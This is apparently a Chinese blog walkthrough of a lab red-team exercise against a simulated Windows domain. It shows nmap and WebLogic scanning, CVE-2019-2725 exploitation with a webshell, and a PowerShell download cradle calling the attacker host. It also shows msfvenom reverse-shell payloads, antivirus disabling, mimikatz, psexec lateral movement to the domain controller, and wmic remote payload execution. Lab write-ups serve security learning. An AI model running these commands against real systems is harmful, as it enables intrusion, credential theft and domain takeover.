ATT&CK红队评估二

ATT&CK红队评估二

目录

• 靶场搭建
  • 网络拓扑图
  • 环境说明
  • 网络搭建
• 信息收集
  • nmap扫描
• weblogic打点
  • CVE-2019-2725
• 渗透工具上线
  • 免杀
  • cs上线
    • 自动上线
    • 手动上线
    • powershell
  • 提权
  • msf上线
• 域渗透
  • Ladon信息收集
  • psexec横向移动
• 域成员渗透

1|0靶场搭建

靶场地址

1|1网络拓扑图

1|2环境说明

内网网段：10.10.10.1/24

DMZ网段：192.168.211.1/24

测试机地址：192.168.211.147（Kali Linux）

1|3网络搭建

共有三台虚拟机，DC机，WEB机，PC机。将IP全部设为自动获取，配置信息如下所示：

WEB机：

IP1：192.168.211.150 IP2：10.10.10.129 OS：Windows 2008(64)

应用：Weblogic 10.3.6 MSSQL 2008

PC机：

IP1：192.168.211.151 IP2：10.10.10.128 OS：Windows 7(32)

DC机：

IP：10.10.10.130 OS：Windows 2012(64)

应用：AD域

攻击机：

IP：192.168.211.147 OS：kali linux

---

三台机子的默认密码都是1qaz@WSX，但是web这一台服务器默认密码登录会错误，解决办法是选择v1.3的快照，报错之后点击放弃，然后重启web虚拟机就可以进了。

同时需要在web机开启weblogic服务

C:\Oracle\Middleware\user_projects\domains\base_domain\bin

以管理员身份运行

自此前期工作全部完成

2|0信息收集

2|1nmap扫描

web机ip192.168.211.150

nmap -T4 -A -p 1-65535 192.168.211.150

Starting Nmap 7.91 ( https://nmap.org ) at 2022-03-13 10:10 CST
Stats: 0:02:21 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 46.15% done; ETC: 10:13 (0:00:42 remaining)
Nmap scan report for 192.168.211.150
Host is up (0.0023s latency).
Not shown: 65522 filtered ports
PORT      STATE SERVICE            VERSION
80/tcp    open  http               Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Site doesn't have a title.
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds       Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1433/tcp  open  ms-sql-s           Microsoft SQL Server 2008 R2 10.50.4000.00; SP2
| ms-sql-ntlm-info: 
|   Target_Name: DE1AY
|   NetBIOS_Domain_Name: DE1AY
|   NetBIOS_Computer_Name: WEB
|   DNS_Domain_Name: de1ay.com
|   DNS_Computer_Name: WEB.de1ay.com
|   DNS_Tree_Name: de1ay.com
|_  Product_Version: 6.1.7601
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2019-10-20T09:57:12
|_Not valid after:  2049-10-20T09:57:12
3389/tcp  open  ssl/ms-wbt-server?
| rdp-ntlm-info: 
|   Target_Name: DE1AY
|   NetBIOS_Domain_Name: DE1AY
|   NetBIOS_Computer_Name: WEB
|   DNS_Domain_Name: de1ay.com
|   DNS_Computer_Name: WEB.de1ay.com
|   DNS_Tree_Name: de1ay.com
|   Product_Version: 6.1.7601
|_  System_Time: 2022-03-13T02:13:59+00:00
7001/tcp  open  http               Oracle WebLogic Server (Servlet 2.5; JSP 2.1)
|_http-title: Error 404--Not Found
49152/tcp open  msrpc              Microsoft Windows RPC
49153/tcp open  msrpc              Microsoft Windows RPC
49154/tcp open  msrpc              Microsoft Windows RPC
49155/tcp open  msrpc              Microsoft Windows RPC
49156/tcp open  msrpc              Microsoft Windows RPC
60966/tcp open  ms-sql-s           Microsoft SQL Server 2008 R2 10.50.4000; SP2
| ms-sql-ntlm-info: 
|   Target_Name: DE1AY
|   NetBIOS_Domain_Name: DE1AY
|   NetBIOS_Computer_Name: WEB
|   DNS_Domain_Name: de1ay.com
|   DNS_Computer_Name: WEB.de1ay.com
|   DNS_Tree_Name: de1ay.com
|_  Product_Version: 6.1.7601
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2019-10-20T09:57:12
|_Not valid after:  2049-10-20T09:57:12
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| ms-sql-info: 
|   192.168.211.150:1433: 
|     Version: 
|       name: Microsoft SQL Server 2008 R2 SP2
|       number: 10.50.4000.00
|       Product: Microsoft SQL Server 2008 R2
|       Service pack level: SP2
|       Post-SP patches applied: false
|_    TCP port: 1433
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2022-03-13T02:13:59
|_  start_date: 2019-10-08T03:17:01

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 370.04 seconds

由nmap扫描结果可知：

端口扫描	80，1433，3389，，7001，60966等
服务版本识别	IIS httpd 7.5，SQL Server 2008 R2 SP2，远程桌面服务，WebLogic Server
操作系统信息识别	Windows Server 2008 R2 - 2012
域	de1ay.com

访问80端口，无任何内容

发现7001上有weblogic，直接打了

3|0weblogic打点

使用工具weblogicScanner

sudo python3 ws.py -t 192.168.211.150:7001

[10:55:22][INFO] [*][Weblogic Console][192.168.211.150:7001] Start...
[10:55:22][INFO] [+][Weblogic Console][192.168.211.150:7001] Found module!
[10:55:22][INFO] [*][Weblogic Console][192.168.211.150:7001] Please verify manually!
[10:55:22][INFO] [*][CVE-2014-4210][192.168.211.150:7001] Start...
[10:55:42][INFO] [-][CVE-2014-4210][192.168.211.150:7001] Not found.
[10:55:42][INFO] [*][CVE-2016-0638][192.168.211.150:7001] Start...
[10:55:44][INFO] [!][CVE-2016-0638][192.168.211.150:7001] Connection error.
[10:55:44][INFO] [-][CVE-2016-0638][192.168.211.150:7001] Not vulnerability.
[10:55:44][INFO] [*][CVE-2016-3510][192.168.211.150:7001] Start...
[10:55:51][INFO] [-][CVE-2016-3510][192.168.211.150:7001] Not vulnerability.
[10:55:51][INFO] [*][CVE-2017-3248][192.168.211.150:7001] Start...
[10:55:54][INFO] [!][CVE-2017-3248][192.168.211.150:7001] Connection error.
[10:55:54][INFO] [-][CVE-2017-3248][192.168.211.150:7001] Not vulnerability.
[10:55:54][INFO] [*][CVE-2017-3506][192.168.211.150:7001] Start...
[10:55:54][INFO] [+][CVE-2017-3506][192.168.211.150:7001] Exists vulnerability!
[10:55:54][INFO] [*][CVE-2017-10271][192.168.211.150:7001] Start...
[10:55:54][INFO] [+][CVE-2017-10271][192.168.211.150:7001] Exists vulnerability!
[10:55:54][INFO] [*][CVE-2018-2628][192.168.211.150:7001] Start...
[10:55:58][INFO] [!][CVE-2018-2628][192.168.211.150:7001] Connection error.
[10:55:58][INFO] [-][CVE-2018-2628][192.168.211.150:7001] Not vulnerability.
[10:55:58][INFO] [*][CVE-2018-2893][192.168.211.150:7001] Start...
[10:56:02][INFO] [!][CVE-2018-2893][192.168.211.150:7001] Connection error.
[10:56:02][INFO] [-][CVE-2018-2893][192.168.211.150:7001] Not vulnerability.
[10:56:02][INFO] [*][CVE-2018-2894][192.168.211.150:7001] Start...
[10:56:02][INFO] [-][CVE-2018-2894][192.168.211.150:7001] Not found.
[10:56:02][INFO] [*][CVE-2018-3191][192.168.211.150:7001] Start...
[10:56:06][INFO] [+][CVE-2018-3191][192.168.211.150:7001] Exists vulnerability!
[10:56:06][INFO] [*][CVE-2018-3245][192.168.211.150:7001] Start...
[10:56:06][INFO] [+][CVE-2018-3245][192.168.211.150:7001] Exists vulnerability!
[10:56:06][INFO] [*][CVE-2018-3252][192.168.211.150:7001] Start...
[10:56:16][INFO] [-][CVE-2018-3252][192.168.211.150:7001] Not found.
[10:56:16][INFO] [*][CVE-2019-2618][192.168.211.150:7001] Start...
[10:56:18][INFO] [+][CVE-2019-2618][192.168.211.150:7001] Found module!
[10:56:18][INFO] [*][CVE-2019-2618][192.168.211.150:7001] Please verify manually!
[10:56:18][INFO] [*][CVE-2019-2725][192.168.211.150:7001] Start...
[10:56:22][INFO] [+][CVE-2019-2725][192.168.211.150:7001] Exists vulnerability!
[10:56:22][INFO] [*][CVE-2019-2729][192.168.211.150:7001] Start...
[10:56:24][INFO] [+][CVE-2019-2729][192.168.211.150:7001] Exists vulnerability!
[10:56:24][INFO] [*][CVE-2019-2888][192.168.211.150:7001] Start...
[10:56:26][INFO] [+][CVE-2019-2888][192.168.211.150:7001] Found module!
[10:56:26][INFO] [*][CVE-2019-2888][192.168.211.150:7001] Please verify manually!
[10:56:26][INFO] [*][CVE-2019-2890][192.168.211.150:7001] Start...
[10:56:28][INFO] [!][CVE-2019-2890][192.168.211.150:7001] Connection error.
[10:56:28][INFO] [-][CVE-2019-2890][192.168.211.150:7001] Not vulnerability.
[10:56:28][INFO] [*][CVE-2020-2551][192.168.211.150:7001] Start...
[10:56:29][INFO] [+][CVE-2020-2551][192.168.211.150:7001] Found module!
[10:56:29][INFO] [*][CVE-2020-2551][192.168.211.150:7001] Please verify manually!
[10:56:29][INFO] [*][CVE-2020-2555][192.168.211.150:7001] Start...
[10:56:38][INFO] [-][CVE-2020-2555][192.168.211.150:7001] Not vulnerability.
[10:56:38][INFO] [*][CVE-2020-2883][192.168.211.150:7001] Start...
[10:56:43][INFO] [+][CVE-2020-2883][192.168.211.150:7001] Exists vulnerability!
[10:56:43][INFO] [*][CVE-2020-14882][192.168.211.150:7001] Start...
[10:57:11][INFO] [-][CVE-2020-14882][192.168.211.150:7001] Not vulnerability.
[10:57:11][INFO] [*][CVE-2020-14883][192.168.211.150:7001] Start...
[10:57:33][INFO] [-][CVE-2020-14883][192.168.211.150:7001] Not vulnerability.

3|1CVE-2019-2725

访问http://192.168.211.150:7001/_async/AsyncResponseService

网页存在，找POC攻击，dnslog无回显，利用失败

---

姿势二

下载Java反序列化漏洞利用工具

存在漏洞

命令执行成功

---

文件上传

文件路径：C:\\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp

shell地址：

http://192.168.211.152:7001/console/framework/skins/wlsconsole/images/shell.jsp

这里一个很奇怪的情况，冰蝎v3.0 Beta9一直连接shell失败

换旧版本连接成功，v3.0 Beta7

4|0渗透工具上线

收集内网信息，内网ip:ipconfig /all

发现存在内网IP段，10.10.10.1/24

4|1免杀

还不会，手动关了360。。。。。

略。。。

4|2cs上线

自动上线

使用冰蝎自带反弹shell至cobalt strike功能，利用失败。。。。无回显，自动不行试手动

---

手动上线

创建监听器

生成攻击载荷

这里上传成功但是一直拒绝访问，cs上线失败，打开web机发现是被杀了

---

powershell

cs点击Attack -> Web Drive-by -> Scripted Web Delivery

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.211.147:80/a'))"

一样失败

关闭360，手动上传

4|3提权

这里我傻逼了，嫌冰蝎里执行cs马太慢了，直接在web机执行，但是这里web机的权限并不是最高的，由于weblogic是以administrator用户运行的，所以在冰蝎里执行会是administrator的权限

---

windows内核提权

将systeminfo写入文件中

systeminfo > 1.txt

使用工具Windows-Exploit-Suggester，查询可用漏洞

python2 -m pip install xlrd
python2 windows-exploit-suggester.py --update
python2 windows-exploit-suggester.py --database 2022-03-15-mssb.xls --systeminfo 1.txt

生成结果：

[*] initiating winsploit version 3.3...
[*] database file detected as xls or xlsx based on extension
[*] attempting to read from the systeminfo input file
[+] systeminfo input file read successfully (GB2312)
[*] querying database file for potential vulnerabilities
[*] comparing the 3 hotfix(es) against the 407 potential bulletins(s) with a database of 137 known exploits
[*] there are now 407 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 2008 R2 SP1 64-bit'
[*]
[E] MS16-135: Security Update for Windows Kernel-Mode Drivers (3199135) - Important
[*]   https://www.exploit-db.com/exploits/40745/ -- Microsoft Windows Kernel - win32k Denial of Service (MS16-135)
[*]   https://www.exploit-db.com/exploits/41015/ -- Microsoft Windows Kernel - 'win32k.sys' 'NtSetWindowLongPtr' Privilege Escalation (MS16-135) (2)
[*]   https://github.com/tinysec/public/tree/master/CVE-2016-7255
[*]
[E] MS16-098: Security Update for Windows Kernel-Mode Drivers (3178466) - Important
[*]   https://www.exploit-db.com/exploits/41020/ -- Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098)
[*]
[M] MS16-075: Security Update for Windows SMB Server (3164038) - Important
[*]   https://github.com/foxglovesec/RottenPotato
[*]   https://github.com/Kevin-Robertson/Tater
[*]   https://bugs.chromium.org/p/project-zero/issues/detail?id=222 -- Windows: Local WebDAV NTLM Reflection Elevation of Privilege
[*]   https://foxglovesecurity.com/2016/01/16/hot-potato/ -- Hot Potato - Windows Privilege Escalation
[*]
[E] MS16-074: Security Update for Microsoft Graphics Component (3164036) - Important
[*]   https://www.exploit-db.com/exploits/39990/ -- Windows - gdi32.dll Multiple DIB-Related EMF Record Handlers Heap-Based Out-of-Bounds Reads/Memory Disclosure (MS16-074), PoC
[*]   https://www.exploit-db.com/exploits/39991/ -- Windows Kernel - ATMFD.DLL NamedEscape 0x250C Pool Corruption (MS16-074), PoC
[*]
[E] MS16-063: Cumulative Security Update for Internet Explorer (3163649) - Critical
[*]   https://www.exploit-db.com/exploits/39994/ -- Internet Explorer 11 - Garbage Collector Attribute Type Confusion (MS16-063), PoC
[*]
[E] MS16-032: Security Update for Secondary Logon to Address Elevation of Privile (3143141) - Important
[*]   https://www.exploit-db.com/exploits/40107/ -- MS16-032 Secondary Logon Handle Privilege Escalation, MSF
[*]   https://www.exploit-db.com/exploits/39574/ -- Microsoft Windows 8.1/10 - Secondary Logon Standard Handles Missing Sanitization Privilege Escalation (MS16-032), PoC
[*]   https://www.exploit-db.com/exploits/39719/ -- Microsoft Windows 7-10 & Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (PowerShell), PoC
[*]   https://www.exploit-db.com/exploits/39809/ -- Microsoft Windows 7-10 & Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (C#)
[*]
[M] MS16-016: Security Update for WebDAV to Address Elevation of Privilege (3136041) - Important
[*]   https://www.exploit-db.com/exploits/40085/ -- MS16-016 mrxdav.sys WebDav Local Privilege Escalation, MSF
[*]   https://www.exploit-db.com/exploits/39788/ -- Microsoft Windows 7 - WebDAV Privilege Escalation Exploit (MS16-016) (2), PoC
[*]   https://www.exploit-db.com/exploits/39432/ -- Microsoft Windows 7 SP1 x86 - WebDAV Privilege Escalation (MS16-016) (1), PoC
[*]
[E] MS16-014: Security Update for Microsoft Windows to Address Remote Code Execution (3134228) - Important
[*]   Windows 7 SP1 x86 - Privilege Escalation (MS16-014), https://www.exploit-db.com/exploits/40039/, PoC
[*]
[E] MS16-007: Security Update for Microsoft Windows to Address Remote Code Execution (3124901) - Important
[*]   https://www.exploit-db.com/exploits/39232/ -- Microsoft Windows devenum.dll!DeviceMoniker::Load() - Heap Corruption Buffer Underflow (MS16-007), PoC
[*]   https://www.exploit-db.com/exploits/39233/ -- Microsoft Office / COM Object DLL Planting with WMALFXGFXDSP.dll (MS-16-007), PoC
[*]
[E] MS15-132: Security Update for Microsoft Windows to Address Remote Code Execution (3116162) - Important
[*]   https://www.exploit-db.com/exploits/38968/ -- Microsoft Office / COM Object DLL Planting with comsvcs.dll Delay Load of mqrt.dll (MS15-132), PoC
[*]   https://www.exploit-db.com/exploits/38918/ -- Microsoft Office / COM Object els.dll DLL Planting (MS15-134), PoC
[*]
[E] MS15-112: Cumulative Security Update for Internet Explorer (3104517) - Critical
[*]   https://www.exploit-db.com/exploits/39698/ -- Internet Explorer 9/10/11 - CDOMStringDataList::InitFromString Out-of-Bounds Read (MS15-112)
[*]
[E] MS15-111: Security Update for Windows Kernel to Address Elevation of Privilege (3096447) - Important
[*]   https://www.exploit-db.com/exploits/38474/ -- Windows 10 Sandboxed Mount Reparse Point Creation Mitigation Bypass (MS15-111), PoC
[*]
[E] MS15-102: Vulnerabilities in Windows Task Management Could Allow Elevation of Privilege (3089657) - Important
[*]   https://www.exploit-db.com/exploits/38202/ -- Windows CreateObjectTask SettingsSyncDiagnostics Privilege Escalation, PoC
[*]   https://www.exploit-db.com/exploits/38200/ -- Windows Task Scheduler DeleteExpiredTaskAfter File Deletion Privilege Escalation, PoC
[*]   https://www.exploit-db.com/exploits/38201/ -- Windows CreateObjectTask TileUserBroker Privilege Escalation, PoC
[*]
[E] MS15-097: Vulnerabilities in Microsoft Graphics Component Could Allow Remote Code Execution (3089656) - Critical
[*]   https://www.exploit-db.com/exploits/38198/ -- Windows 10 Build 10130 - User Mode Font Driver Thread Permissions Privilege Escalation, PoC
[*]   https://www.exploit-db.com/exploits/38199/ -- Windows NtUserGetClipboardAccessToken Token Leak, PoC
[*]
[M] MS15-078: Vulnerability in Microsoft Font Driver Could Allow Remote Code Execution (3079904) - Critical
[*]   https://www.exploit-db.com/exploits/38222/ -- MS15-078 Microsoft Windows Font Driver Buffer Overflow
[*]
[M] MS15-051: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (3057191) - Important
[*]   https://github.com/hfiref0x/CVE-2015-1701, Win32k Elevation of Privilege Vulnerability, PoC
[*]   https://www.exploit-db.com/exploits/37367/ -- Windows ClientCopyImage Win32k Exploit, MSF
[*]
[E] MS15-010: Vulnerabilities in Windows Kernel-Mode Driver Could Allow Remote Code Execution (3036220) - Critical
[*]   https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows 8.1 - win32k Local Privilege Escalation (MS15-010), PoC
[*]   https://www.exploit-db.com/exploits/37098/ -- Microsoft Windows - Local Privilege Escalation (MS15-010), PoC
[*]   https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows win32k Local Privilege Escalation (MS15-010), PoC
[*]
[E] MS15-001: Vulnerability in Windows Application Compatibility Cache Could Allow Elevation of Privilege (3023266) - Important
[*]   http://www.exploit-db.com/exploits/35661/ -- Windows 8.1 (32/64 bit) - Privilege Escalation (ahcache.sys/NtApphelpCacheControl), PoC
[*]
[E] MS14-068: Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780) - Critical
[*]   http://www.exploit-db.com/exploits/35474/ -- Windows Kerberos - Elevation of Privilege (MS14-068), PoC
[*]
[M] MS14-064: Vulnerabilities in Windows OLE Could Allow Remote Code Execution (3011443) - Critical
[*]   https://www.exploit-db.com/exploits/37800// -- Microsoft Windows HTA (HTML Application) - Remote Code Execution (MS14-064), PoC
[*]   http://www.exploit-db.com/exploits/35308/ -- Internet Explorer OLE Pre-IE11 - Automation Array Remote Code Execution / Powershell VirtualAlloc (MS14-064), PoC
[*]   http://www.exploit-db.com/exploits/35229/ -- Internet Explorer <= 11 - OLE Automation Array Remote Code Execution (#1), PoC
[*]   http://www.exploit-db.com/exploits/35230/ -- Internet Explorer < 11 - OLE Automation Array Remote Code Execution (MSF), MSF
[*]   http://www.exploit-db.com/exploits/35235/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python, MSF
[*]   http://www.exploit-db.com/exploits/35236/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution, MSF
[*]
[M] MS14-060: Vulnerability in Windows OLE Could Allow Remote Code Execution (3000869) - Important
[*]   http://www.exploit-db.com/exploits/35055/ -- Windows OLE - Remote Code Execution 'Sandworm' Exploit (MS14-060), PoC
[*]   http://www.exploit-db.com/exploits/35020/ -- MS14-060 Microsoft Windows OLE Package Manager Code Execution, MSF
[*]
[M] MS14-058: Vulnerabilities in Kernel-Mode Driver Could Allow Remote Code Execution (3000061) - Critical
[*]   http://www.exploit-db.com/exploits/35101/ -- Windows TrackPopupMenu Win32k NULL Pointer Dereference, MSF
[*]
[E] MS14-040: Vulnerability in Ancillary Function Driver (AFD) Could Allow Elevation of Privilege (2975684) - Important
[*]   https://www.exploit-db.com/exploits/39525/ -- Microsoft Windows 7 x64 - afd.sys Privilege Escalation (MS14-040), PoC
[*]   https://www.exploit-db.com/exploits/39446/ -- Microsoft Windows - afd.sys Dangling Pointer Privilege Escalation (MS14-040), PoC
[*]
[E] MS14-035: Cumulative Security Update for Internet Explorer (2969262) - Critical
[E] MS14-029: Security Update for Internet Explorer (2962482) - Critical
[*]   http://www.exploit-db.com/exploits/34458/
[*]
[E] MS14-026: Vulnerability in .NET Framework Could Allow Elevation of Privilege (2958732) - Important
[*]   http://www.exploit-db.com/exploits/35280/, -- .NET Remoting Services Remote Command Execution, PoC
[*]
[M] MS14-012: Cumulative Security Update for Internet Explorer (2925418) - Critical
[M] MS14-009: Vulnerabilities in .NET Framework Could Allow Elevation of Privilege (2916607) - Important
[E] MS13-101: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (2880430) - Important
[M] MS13-097: Cumulative Security Update for Internet Explorer (2898785) - Critical
[M] MS13-090: Cumulative Security Update of ActiveX Kill Bits (2900986) - Critical
[M] MS13-080: Cumulative Security Update for Internet Explorer (2879017) - Critical
[M] MS13-069: Cumulative Security Update for Internet Explorer (2870699) - Critical
[M] MS13-059: Cumulative Security Update for Internet Explorer (2862772) - Critical
[M] MS13-055: Cumulative Security Update for Internet Explorer (2846071) - Critical
[M] MS13-053: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Remote Code Execution (2850851) - Critical
[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical
[M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important
[E] MS12-037: Cumulative Security Update for Internet Explorer (2699988) - Critical
[*]   http://www.exploit-db.com/exploits/35273/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5., PoC
[*]   http://www.exploit-db.com/exploits/34815/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass (MS12-037), PoC
[*]
[*] done

加载提权脚本

按理说应该能够提权成功的，但是这里一直失败，找不到原因。这里换思路了

4|4msf上线

msfconsole
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
show options
set lhost 0.0.0.0
exploit

但是这里java的反弹shell在后续的提权中存在问题，重新生成一个windows马上传

sudo msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.211.147 lport=4444 -f exe -o shell.exe

上传

---

反弹shell：

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.211.147
exploit

解决乱码：

chcp 65001

5|0域渗透

5|1Ladon信息收集

上传ladon

Ladon 10.10.10.1/24 OnlinePC

此时明确内网信息

10.10.10.131 WEB机
10.10.10.130 DC机
10.10.10.128 PC机

5|2psexec横向移动

---

mimikatz抓取密码

通过psexec横向移动

background #退回session，进入msf中
route add 10.10.10.0 255.255.255.0 session_id #在msf中设置路由访问内网
use exploit/windows/smb/psexec #使用psexec
set payload windows/x64/meterpreter/bind_tcp #创建连接
set rhost ip #设置DC机ip
set SMBUser administrator #设置域管理员账户
set SMBPass 1qaz@WSX #设置密码

成功拿下域控

6|0域成员渗透

生成木马：

sudo msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.211.147 lport=8899 -f exe -o shell3.exe

开启$IPC:

WEB机：
net use \\10.10.10.128\ipc$ "1qaz@WSX" /user:administrator@de1ay.com
copy shell3.exe \\10.10.10.128\c$
dir \\10.10.10.128\c$

域控机：
wmic /node:10.10.10.128 /user:administrator@de1ay.com /password:1qaz@WSX process call create "C:\shell3.exe"

成功获取shell：

成功获取个人PC机的admin权限

至此整个渗透过程完成!

感谢渗透过程中lyc师傅给予的帮助

__EOF__

本文作者：karsa
本文链接：https://www.cnblogs.com/karsa/p/16012987.html
关于博主：评论和私信会在第一时间回复。或者直接私信我。
版权声明：本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！
声援博主：如果您觉得文章对您有帮助，可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力！